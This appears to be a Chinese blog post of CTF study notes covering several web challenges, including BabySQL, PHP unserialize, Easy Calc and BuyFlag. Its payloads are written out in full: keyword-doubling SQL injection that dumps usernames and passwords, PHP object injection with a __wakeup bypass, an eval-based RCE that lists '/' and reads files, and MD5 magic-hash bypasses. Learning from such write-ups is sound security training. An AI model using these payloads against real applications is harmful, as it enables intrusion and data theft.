week1
sql
[极客大挑战 2019]BabySQL
考点
SQL注入双写绕过过滤
知识点
'--+'和'#'
都是作为注释的作用;
--是sql里的注释+号是url里的空格
--要和语句后面的引号 用空格隔开才有用
解题过程
step1-测试回显位置:
先测试回显在用户名那里还是密码那里,测试之后是在密码那里;
payload:1' order by 1#
step2-双写绕过过滤:
观察到der 1#可以知道or和by被过滤了,于是双写绕过:
payload: 1' oorrder bbyy 1,2,3,4#
step3-联合查询注入:
于是我们知道有3个位置可以回显有用信息,于是我们进行联合查询
payload: 1' union select 1,database(),3#
step4-双写绕过过滤:
语句有问题观察报错,发现union和select被过滤了
payload: 1' ununionion selselectect 1,database(),3#
step5-最终payload:
在后面发现,where,from也被过滤了
payload:
爆表:
1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#
爆列:
1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='b4bsql'#
爆数据:
1' ununionion seselectlect 1,2,group_concat(username,passwoorrd) frfromom geek.b4bsql#
unserialize
[极客大挑战 2019]PHP
考点
1.常用的备份文件名:(这里说的source file考察的是备份文件名字)
index.phps
index.php.bak
index.php.swp
www.zip
2.从序列化到反序列化这几个函数的执行过程是:
__construct() ->__sleep -> __wakeup() -> __toString() -> __destruct()
3.变量的属性:
public:属性被序列化的时候属性值会变成 属性名
protected:属性被序列化的时候属性值会变成 \x00*\x00属性名
private:属性被序列化的时候属性值会变成 \x00类名\x00属性名
\x00是空字符(不是空格)空字符并没有被实例化 %00
4._wakeup()绕过
序列化的字符串中的 属性值 个数 大于 属性个数 就会导致反序列化异常,从而绕过 __wakeup()
解题过程:
step1:
看到那个备份网站,我就想到了www.zip,网站的所有文件都在www文件下 payload:url/www.zip
step2:
下载文件后在index.php里面我们看到了,在让我们传一个叫select的参数,然后对其反序列化,运行class.php这个脚本
<?php
include 'class.php';
$select=$_GET['select'];
$res=unserialize(@$select);
?>
step3:
class.php 整个脚本就是设置了两个private变量,用了设置了一个wakeup()方法(会在每次反序列化前调用它),在这是每次调用它都会把username的值变成guest;而后就是一个destruct()方法,内容就是对username,和password的验证;只有username=admin,password=100才打印flag;
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
step4:
序列化得到我们要传的 (O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";})
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}}
$a=new Name('admin','100');
echo serialize($a);
?>
step5:
绕过
但是由于这两个是private变量,以及可以看到那个Nameusername只有12个字符,前面却写着14,所以空字符并没有被实例化
同时,反序列化前会调用wakeup(),destruct()又在wakeup之后,所以我们得绕过wakeup
payload:url/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
[ACTF2020 新生赛]BackupFile
知识点
1.弱比较:字符串和数字做弱比较时会把字符串截取到第一个非数字字符前,即'123ffws'相当于123
解题过程
step1:backuofile 用/index.php.bak访问,得到源码
让我们get传参,参数必须是数字,同时key必须和str的值一样,才能得到flag,但是这里有个intval()函数,他会把key的内容转为整数
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
step2:
绕过:
payload:url/?key=123
无参数RCE
[RoarCTF 2019]Easy Calc
知识点
1.php特性绕过waf:
PHP在接收URL传入的内容时,会将空格去除,将一些特殊字符转换为下划线(转换对象也包含空格)。
这里在num传参和?之后加入一个空格就可以绕过waf
2.命令执行函数:
·exec()
·shell_exec()
·system()
·passthru()
·反引号(``)
eg:$output = `{$command}`;
3.无参数rce:
·特征:
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
这时如果我们用传统的eval($_POST[‘code’]); 则无法通过正则的校验 /[^\W]+((?R)?)/
对于该正则只允许形如 a(b(c())); a();
也就是只能使用函数套娃,里面的函数所产生的信息就是作为参数
·基础函数学习:
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
scandir() 列出 images 目录中的文件和目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse()以相反的元素顺序返回数组。
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。
current(localeconv()) 永远都是个点
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值。
pos() 是current()的别名。
var_dump()是判断一个变量的类型与长度,并输出变量的数值,如果变量有值输的是变量的值并回返数据类型.此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。
解题过程
step1:
F12在js代码那里看到calc.php,访问进去
就是让我们传一个叫num的参数,看到后面这里有个eval函数,所以在这里我们可以命令执行;我试了下/?num=system('ls /');他阻止了我们访问,按理来说,我这里的‘不满足那个黑名单,应该会回显what are you want to do?
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
step2:
利用php特性绕过waf,waf不让num传入字母,于是我们可以在num前加一个空格,绕过waf /? num=system('ls /');过了
注意到黑名单里面引号,反引号什么的都不让用;所以那些常规命令执行函数用不了
于是利用无参数rce;用到的函数有var_dump()[显示文件];scandir();chr()[因为/也被过滤了,所以我们利用chr,把码转为ascii];file_get_contents()[读取文件]。
payload:url/calc.php? num=var_dump(scandir(chr(47))) 看到f1agg
step3:读取f11ag
payload:url/calc.php? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
信息收集
[极客大挑战 2019]BuyFlag
知识点:
1.弱比较
2.php 5.3.3 strucmp函数
strcmp()比较的是字符串类型
int strcmp(const char *s1, const char *s2);
如果s1和s2相等,返回0。
如果s1小于s2(按照字典顺序,即从小到大的字符顺序),返回负数。
如果s1大于s2,返回正数。
如果强行传入其他类型参数,会出错,出错后返回值0,正是利用这点进行绕过。
解题过程:
step1:
打开页面,在首页看不到有用信息,然后在payflag看到,这里有一些买到flag的要求:是CUIT的学生,正确的密码;然后我在源码里面看到了一段代码:
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
就是对post传入的password的要求,如果检测到password是数字就不对,但是要求那个password等于404,然后注意到这里是弱等于
password=404a绕过 /POST/
step2:
传入进去,还是回显"Only Cuit's students can buy the FLAG"还是要求cuit的学生;于是抓包看看
看到这里有个user=0;就是猜测,给他改成1(真) 过了
step3:
现在还要求金额,前面有个100000000,我们传进去;
数字太长了,如果减一点,又会显示钱不够,于是就想到了科学计数法
password=404a&money=1e10
这里还可以利用php特9性,这里是php/5.3.3,可以利用函数strcmp(),使用数组(不同类型参数)绕过;
password=404a&money[]=1000
MD5
[BJDCTF2020]Easy MD5
知识点:
1.基于MD5()的万能密码:ffifdyop
2.MD5弱比较:
原值 加密后的密文
QNKCDZO 0E830400451993494058024219903391
240610708 0E462097431906509019562988736854
s878926199a 0E545993274517709034328855841020
s155964671a 0E342768416822451524974117254469
s214587387a 0E848240448830537924465865611904
3.MD5强比较:
·再就是强比较,我们可以利用数组绕过
利用了PHP语言的一些特性以及MD5函数处理非字符串输入的行为。具体来说,当MD5函数在PHP中被用于处理数组类型的输入时,它不会像处理字符串那样计算其哈希值,而是直接返回NULL。这是因为MD5函数预期接收的是字符串参数,而非数组。
payload:a[]=1&b[]=2
·爆破
解题过程
step1:
MD5万能密码:成功跳转页面
step2:
$a=$_GET['a'];
$b=$_GET['b'];
if($a!=$b&&md5($a)==md5($b)){
}
payload:url?a=QNKCDZO&b=s878926199a
step3:
强比较:
param1[]=1¶m2[]=2 /post/
标签:username,password,echo,week1,序列化,payload,php
From: https://www.cnblogs.com/dleyi/p/18230895